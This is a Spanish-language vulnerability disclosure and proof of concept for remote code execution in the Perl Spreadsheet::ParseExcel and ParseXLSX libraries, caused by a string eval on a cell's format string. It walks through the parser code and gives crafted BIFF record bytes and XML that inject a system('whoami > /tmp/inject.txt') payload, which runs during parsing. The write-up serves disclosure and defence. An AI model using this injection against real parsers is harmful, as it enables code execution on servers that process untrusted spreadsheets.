
POC para la vulnerabilidad RCE en la librería ParseExcel, y también en ParseXLSX, como librería dependiente.
TL;DR: RCE a partir de la lógica en el análisis de cadenas de formato.
La causa raíz de la explotación proviene de llamar a eval sobre una entrada de usuario no validada en Utility.pm
# Uitlity.pm
sub ExcelFmt {
my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;
return $number unless $number =~ $qrNUMBER;
my $conditional;
if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
$conditional = $1;
$format_str = $2;
}
#...
if ($conditional) {
# TODO. Replace string eval with a function.
$section = eval "$number $conditional" ? 0 : 1;
}
#...
}
Según lo que inspeccioné, la implementación actual de este flujo carece de una validación adecuada, y usar para manejar la lógica de comparación es excesivo ("over kill") en este caso. Debido a esto, tanto como (usados para leer datos de archivos Excel) son vulnerables a RCE.
evalParseExcel::parseParseXLSX::parse$format_str?ValFmt es el llamador más probable de ExcelFmt, así que explicaré más a fondo este método.
sub ValFmt {
my ( $oThis, $oCell, $oBook ) = @_;
my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );
if ( $oCell->{Type} eq 'Text' ) {
$Dt =
( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
: '';
return $Dt;
}
else {
$Dt = $oCell->{Val};
$Flg1904 = $oBook->{Flg1904};
my $sFmtStr = $oThis->FmtString( $oCell, $oBook );
# where RCE lies => $oCell->{Type} must be either "Date" or "Number"
return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} );
}
}
Si $oCell->{Type} es Date o Number, se llamará a ExcelFmt.
El valor $format_str es el que devuelve otro método: FmtString.
sub FmtString {
my ( $oThis, $oCell, $oBook ) = @_;
my $sFmtStr =
$oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
$oBook ); # maps to the correct format string
#...
unless ( defined($sFmtStr) ) {
# assigns default format string depending on the value, can ignore
#...
}
return $sFmtStr;
}
Se llama a otra función, así que examinaremos también FmtStringDef.
sub FmtStringDef {
my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping
# More with assigning default format string, can ignore
#...
}
Con todas las variables claras, podemos concluir el vector de ataque de la siguiente manera:
$iFmtIdx$oBook->{Format}[$cellFmtIdx] apunte a $iFmtIdx$oCell->{FormatNo} = $cellFmtIdx)![[flow 1.png]]
En las secciones siguientes, explicaré en detalle cómo el payload propagó el código shell hasta el comando eval. Habrá 2 secciones: una para analizar archivos .xls con ParseExcel y otra para analizar archivos .xlsx con ParseXLSX.
Para demostrarlo, abajo está el enlace a nuestros archivos Excel maliciosos (en .xls y .xlsx) que ejecutan whoami y guardan el resultado en el archivo /tmp/inject.txt.
Tomemos un programa Perl simple para analizar el archivo xls como el siguiente, que usa ParseExcel::parse. La RCE ocurrirá mientras se realiza el análisis, incluso antes de que se obtenga cualquier dato.
use strict;
use Spreadsheet::ParseExcel;
my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");
Los archivos binarios de Excel 97 están estructurados en fragmentos de datos binarios llamados registros BIFF. Cada registro comienza con una cabecera llamada opCode (en little-endian), luego la longitud del registro y sus datos reales.
sub QueryNext {
my ( $q ) = @_;
if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
return 0;
}
my $data = substr( $q->{stream}, $q->{streamPos}, 4 );
( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );
# No biff record should be larger than around 20,000.
if ( $q->{length} >= 20000 ) {
return 0;
}
if ( $q->{length} > 0 ) {
$q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
}
else {
$q->{data} = undef;
$q->{dont_decrypt_next_record} = 1;
}
if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
# Handles with decryption
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
# not implemented
return 0;
}
elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {
}
$q->{streamPos} += 4 + $q->{length};
return 1;
}
Después de eso, se utiliza un manejador correspondiente al tipo de registro para extraer los datos de ese registro BIFF.
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
$self->{FuncTbl}->{$record}
->( $workbook, $record, $record_length, $record_header );
}
La cadena de formato es manejada por _subFormat, con opCode = 0x41E
sub _subFormat {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
my $sFmt;
if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
$sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
$sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
}
else {
$sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
}
my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );
# Excel 4 and earlier used an index of 0 to indicate that a built-in format
# that was stored implicitly.
if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
$format_index = keys %{ $oBook->{FormatStr} };
}
$oBook->{FormatStr}->{$format_index} = $sFmt;
}
No estaba seguro de qué versión de BIFF se usaba en mi archivo .xls, pero según los datos del archivo binario, debería coincidir con el caso else (> verBIFF5).
La estructura del registro de cadena de formato en versiones más nuevas de BIFF debería ser
1E 04 [longitud del registro - 2 bytes] [índice de la cadena de formato - 2 bytes] [longitud de la cadena de formato - 1 byte] [banderas de cadena - 2 bytes] [contenido de la cadena de formato]
Siguiendo la estructura correcta, puedo inyectar cualquier cadena de formato en el archivo .xls.
El registro BIFF real de la cadena de formato que inyecté en el PoC (el índice de la cadena de formato es \x00\xa5)
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73 ..1...,..[>123;s
^^^^
format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20 ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427 /tmp/inject.txt'
00000030: 295d 3132 33 )]123
Los formatos de celda definen muchas propiedades para una celda, como la cadena de formato, el estilo, las fuentes, ... Un formato de celda puede enlazar a una cadena de formato incluyendo el índice de la cadena de formato dentro de su registro BIFF. Esta lógica es manejada por _subXf.
sub _subXF {
my ( $oBook, $bOp, $bLen, $sWk ) = @_;
#...
if ( $oBook->{BIFFVersion} == verBIFF4 ) {
#...
}
elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );
( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
= unpack( "v7Vv", $sWk );
#...
}
else {
( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
unpack( "v8", $sWk );
#...
}
push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
FontNo => $iFnt,
Font => $oBook->{Font}[$iFnt],
FmtIdx => $iIdx, # <- the index that points to format string index
#...
);
}
Debido a que nuestro BIFFVersion es mayor que BIFF5, la condición no debería caer en el primer caso. Para los otros dos, sabemos que $iIdx es la segunda palabra en los datos BIFF. Por eso también es trivial realizar este paso.
El registro BIFF real para el formato de celda que usé en el PoC
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000 .......... .....
^^^^
format string index
00000010: 0000 0000 0000 c020 .......
Además, los formatos de celda se identifican por su índice en una lista, así que modifiqué el primer registro; por lo tanto, mi índice de formato de celda debería ser 0.
Para que una celda aplique un formato, debe incluir el ID del formato de celda dentro del registro BIFF de la celda. Sin embargo, como mencioné antes, solo las celdas de tipo Number o Date pueden desencadenar la RCE, así que usaré una celda con tipo fecha para el PoC (referida como registro BIFF RK).
sub _subRK {
my ( $workbook, $biff_number, $length, $data ) = @_;
my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
my $number = _decode_rk_number( $rk_number );
_NewCell(
$workbook, $row, $col,
Kind => 'RK',
Val => $number,
FormatNo => $format_index,
Format => $workbook->{Format}->[$format_index],
Numeric => 1,
Code => undef,
Book => $workbook,
);
#...
}
Podemos ver que el índice que mapea a un formato de celda es ahora la tercera palabra del registro, así que todo lo que necesitamos hacer es poner a cero esta palabra con \x00.
El registro BIFF real para la celda de fecha que usé en el PoC
00000000: 7e02 0a00 0000 0000 0000 201a e240 ~......... ..@
^^^^
format index
Nótese que el método _subRK no ha definido explícitamente el tipo Date todavía. La comprobación de tipo se implementa en chkType en su lugar.
sub ChkType {
my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
if ($iNumeric) {
if ( ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
|| ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
{
return "Date";
}
else {
return "Numeric";
}
}
else {
return "Text";
}
}
Dado que $iNumeric es 1, estamos seguros de que el tipo no es Text.
Finalmente, al inicializar un nuevo objeto Cell, se llamará a ValFmt y continuará con la cadena de ejecución, propagando nuestro shell al método eval.
Trabajar con el archivo .xlsx es bastante más fácil, ya que podemos modificar directamente los datos en texto plano (formato xml).
Tomemos un programa Perl simple para analizar el archivo xlsx como el siguiente, que usa ParseXLSX::parse. La RCE ocurrirá mientras se realiza el análisis, incluso antes de que se obtenga cualquier dato.
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;
my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");
El archivo XLSX es un archivo zip que comprime muchos archivos xml, cada uno conteniendo tipos específicos de datos del libro de trabajo.
|- [Content_Types].xml
|- _rels
|- docProps
|- app.xml
|- core.xml
|- xl
|- _rels
|- workbook.xml.rels
|- styles.xml <--- Format strings & cell formats
|- workbook.xml
|- sharedStrings.xml
|- theme
|- theme1.xml
|- worksheets
|- sheet1.xml <--- Cell values
La cadena de formato se incluye en el archivo xl/styles.xml, bajo la etiqueta <numFmts>, mientras que los formatos de celda se definen bajo la etiqueta <cellXfs>.
sub _parse_styles {
# ...
my %format_str = (
%default_format_str,
(map {
$_->att('numFmtId') => $_->att('formatCode')
} $styles->find_nodes('//s:numFmts/s:numFmt')),
);
# ...
my @format = map {
my %opts = (
%default_format_opts,
%ignore,
);
# ...
$opts{FmtIdx} = 0+($xml_fmt->att('numFmtId')||0);
# ...
Spreadsheet::ParseExcel::Format->new(%opts)
} $styles->find_nodes('//s:cellXfs/s:xf');
# ...
return {
FormatStr => \%format_str,
Font => \@font,
Format => \@format,
}
}
Para inyectar una cadena de formato, necesitamos añadir una etiqueta <numFmt>, con formatCode como la cadena de formato, y numFmtId como cualquier valor entero que queramos. Aquí usé 123.
Después de eso, añadiremos una celda <xf> más para mapear a la cadena de formato, donde el atributo numFmtId será nuestro id elegido (123).
Los datos xml finales que usé en el PoC
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
<numFmts count="1">
<!-- injected format string -->
<numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
</numFmts>
...
<cellXfs count="4">
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
<alignment horizontal="center"/>
</xf>
<xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
<!-- injected cell format -->
<xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
</cellXfs>
...
</styleSheet>
sub _parse_sheet {
my $sheet_xml = $self->_new_twig(
twig_roots => {
#...
's:sheetData/s:row' => sub {
my ( $twig, $row_elt ) = @_;
for my $cell ( $row_elt->children('s:c') ){
my $type = $cell->att('t') || 'n';
my $val = $val_xml ? $val_xml->text : undef;
#...
elsif ($type eq 'n') {
$long_type = 'Numeric';
$val = defined($val) ? 0+$val : undef;
}
elsif ($type eq 'd') {
$long_type = 'Date';
}
# other $type results into $long_type = 'Text'
#...
my $format_idx = $cell->att('s') || 0;
my $format = $sheet->{_Book}{Format}[$format_idx];
die "unknown format $format_idx" unless $format;
my $cell = Spreadsheet::ParseExcel::Cell->new(
Val => $val,
Type => $long_type,
Merged => undef, # fix up later
Format => $format,
FormatNo => $format_idx,
($formula
? (Formula => $formula->text)
: ()),
Rich => $Rich,
);
$cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
$cell, $sheet->{_Book}
);
}
}
}
)
}
La lógica para leer los datos de celda en esta librería es más directa: solo asigna el tipo y el valor directamente desde los atributos de la etiqueta xml. Dado que necesitamos que $oCell->{Type} sea Date o Numeric, solo necesitamos que el atributo t sea d o n. Para mapear la celda al formato de celda, también estableceremos el atributo s al índice del formato de celda (3).
Los datos xml finales que usé en el PoC
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
...
<sheetData>
<row r="1" spans="1:2" x14ac:dyDescent="0.2">
<c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
<v>0</v>
</c>
<c r="B1" s="2"/>
</row>
</sheetData>
...
</worksheet>